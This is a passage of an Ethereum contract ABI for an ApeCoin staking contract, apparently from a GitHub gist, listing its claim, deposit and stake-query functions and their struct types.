outputs: [{ | |
internalType: "uint248", | |
name: "tokenId", | |
type: "uint248" | |
}, { | |
internalType: "bool", | |
name: "isPaired", | |
type: "bool" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_recipient", | |
type: "address" | |
}], | |
name: "claimApeCoin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "uint128", | |
name: "mainTokenId", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "bakcTokenId", | |
type: "uint128" | |
}], | |
internalType: "struct ApeCoinStaking.PairNft[]", | |
name: "_baycPairs", | |
type: "tuple[]" | |
}, { | |
components: [{ | |
internalType: "uint128", | |
name: "mainTokenId", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "bakcTokenId", | |
type: "uint128" | |
}], | |
internalType: "struct ApeCoinStaking.PairNft[]", | |
name: "_maycPairs", | |
type: "tuple[]" | |
}, { | |
internalType: "address", | |
name: "_recipient", | |
type: "address" | |
}], | |
name: "claimBAKC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256[]", | |
name: "_nfts", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "_recipient", | |
type: "address" | |
}], | |
name: "claimBAYC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256[]", | |
name: "_nfts", | |
type: "uint256[]" | |
}, { | |
internalType: "address", | |
name: "_recipient", | |
type: "address" | |
}], | |
name: "claimMAYC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "claimSelfApeCoin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "uint128", | |
name: "mainTokenId", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "bakcTokenId", | |
type: "uint128" | |
}], | |
internalType: "struct ApeCoinStaking.PairNft[]", | |
name: "_baycPairs", | |
type: "tuple[]" | |
}, { | |
components: [{ | |
internalType: "uint128", | |
name: "mainTokenId", | |
type: "uint128" | |
}, { | |
internalType: "uint128", | |
name: "bakcTokenId", | |
type: "uint128" | |
}], | |
internalType: "struct ApeCoinStaking.PairNft[]", | |
name: "_maycPairs", | |
type: "tuple[]" | |
}], | |
name: "claimSelfBAKC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256[]", | |
name: "_nfts", | |
type: "uint256[]" | |
}], | |
name: "claimSelfBAYC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256[]", | |
name: "_nfts", | |
type: "uint256[]" | |
}], | |
name: "claimSelfMAYC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}, { | |
internalType: "address", | |
name: "_recipient", | |
type: "address" | |
}], | |
name: "depositApeCoin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "uint32", | |
name: "mainTokenId", | |
type: "uint32" | |
}, { | |
internalType: "uint32", | |
name: "bakcTokenId", | |
type: "uint32" | |
}, { | |
internalType: "uint184", | |
name: "amount", | |
type: "uint184" | |
}], | |
internalType: "struct ApeCoinStaking.PairNftDepositWithAmount[]", | |
name: "_baycPairs", | |
type: "tuple[]" | |
}, { | |
components: [{ | |
internalType: "uint32", | |
name: "mainTokenId", | |
type: "uint32" | |
}, { | |
internalType: "uint32", | |
name: "bakcTokenId", | |
type: "uint32" | |
}, { | |
internalType: "uint184", | |
name: "amount", | |
type: "uint184" | |
}], | |
internalType: "struct ApeCoinStaking.PairNftDepositWithAmount[]", | |
name: "_maycPairs", | |
type: "tuple[]" | |
}], | |
name: "depositBAKC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "uint32", | |
name: "tokenId", | |
type: "uint32" | |
}, { | |
internalType: "uint224", | |
name: "amount", | |
type: "uint224" | |
}], | |
internalType: "struct ApeCoinStaking.SingleNft[]", | |
name: "_nfts", | |
type: "tuple[]" | |
}], | |
name: "depositBAYC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
components: [{ | |
internalType: "uint32", | |
name: "tokenId", | |
type: "uint32" | |
}, { | |
internalType: "uint224", | |
name: "amount", | |
type: "uint224" | |
}], | |
internalType: "struct ApeCoinStaking.SingleNft[]", | |
name: "_nfts", | |
type: "tuple[]" | |
}], | |
name: "depositMAYC", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_amount", | |
type: "uint256" | |
}], | |
name: "depositSelfApeCoin", | |
outputs: [], | |
stateMutability: "nonpayable", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_address", | |
type: "address" | |
}], | |
name: "getAllStakes", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deposited", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "unclaimed", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "rewards24hr", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardPair", | |
name: "pair", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardStake[]", | |
name: "", | |
type: "tuple[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_address", | |
type: "address" | |
}], | |
name: "getApeCoinStake", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deposited", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "unclaimed", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "rewards24hr", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardPair", | |
name: "pair", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardStake", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_address", | |
type: "address" | |
}], | |
name: "getBakcStakes", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deposited", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "unclaimed", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "rewards24hr", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardPair", | |
name: "pair", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardStake[]", | |
name: "", | |
type: "tuple[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_address", | |
type: "address" | |
}], | |
name: "getBaycStakes", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deposited", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "unclaimed", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "rewards24hr", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardPair", | |
name: "pair", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardStake[]", | |
name: "", | |
type: "tuple[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_address", | |
type: "address" | |
}], | |
name: "getMaycStakes", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deposited", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "unclaimed", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "rewards24hr", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardPair", | |
name: "pair", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardStake[]", | |
name: "", | |
type: "tuple[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [], | |
name: "getPoolsUI", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "stakedAmount", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint48", | |
name: "startTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint48", | |
name: "endTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint96", | |
name: "rewardsPerHour", | |
type: "uint96" | |
}, { | |
internalType: "uint96", | |
name: "capPerPosition", | |
type: "uint96" | |
}], | |
internalType: "struct ApeCoinStaking.TimeRange", | |
name: "currentTimeRange", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.PoolUI", | |
name: "", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "stakedAmount", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint48", | |
name: "startTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint48", | |
name: "endTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint96", | |
name: "rewardsPerHour", | |
type: "uint96" | |
}, { | |
internalType: "uint96", | |
name: "capPerPosition", | |
type: "uint96" | |
}], | |
internalType: "struct ApeCoinStaking.TimeRange", | |
name: "currentTimeRange", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.PoolUI", | |
name: "", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "stakedAmount", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint48", | |
name: "startTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint48", | |
name: "endTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint96", | |
name: "rewardsPerHour", | |
type: "uint96" | |
}, { | |
internalType: "uint96", | |
name: "capPerPosition", | |
type: "uint96" | |
}], | |
internalType: "struct ApeCoinStaking.TimeRange", | |
name: "currentTimeRange", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.PoolUI", | |
name: "", | |
type: "tuple" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "stakedAmount", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint48", | |
name: "startTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint48", | |
name: "endTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint96", | |
name: "rewardsPerHour", | |
type: "uint96" | |
}, { | |
internalType: "uint96", | |
name: "capPerPosition", | |
type: "uint96" | |
}], | |
internalType: "struct ApeCoinStaking.TimeRange", | |
name: "currentTimeRange", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.PoolUI", | |
name: "", | |
type: "tuple" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "address", | |
name: "_address", | |
type: "address" | |
}], | |
name: "getSplitStakes", | |
outputs: [{ | |
components: [{ | |
internalType: "uint256", | |
name: "poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "tokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "deposited", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "unclaimed", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "rewards24hr", | |
type: "uint256" | |
}, { | |
components: [{ | |
internalType: "uint256", | |
name: "mainTokenId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "mainTypePoolId", | |
type: "uint256" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardPair", | |
name: "pair", | |
type: "tuple" | |
}], | |
internalType: "struct ApeCoinStaking.DashboardStake[]", | |
name: "", | |
type: "tuple[]" | |
}], | |
stateMutability: "view", | |
type: "function" | |
}, { | |
inputs: [{ | |
internalType: "uint256", | |
name: "_poolId", | |
type: "uint256" | |
}, { | |
internalType: "uint256", | |
name: "_index", | |
type: "uint256" | |
}], | |
name: "getTimeRangeBy", | |
outputs: [{ | |
components: [{ | |
internalType: "uint48", | |
name: "startTimestampHour", | |
type: "uint48" | |
}, { | |
internalType: "uint48", | |
name: "endTimestampH |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment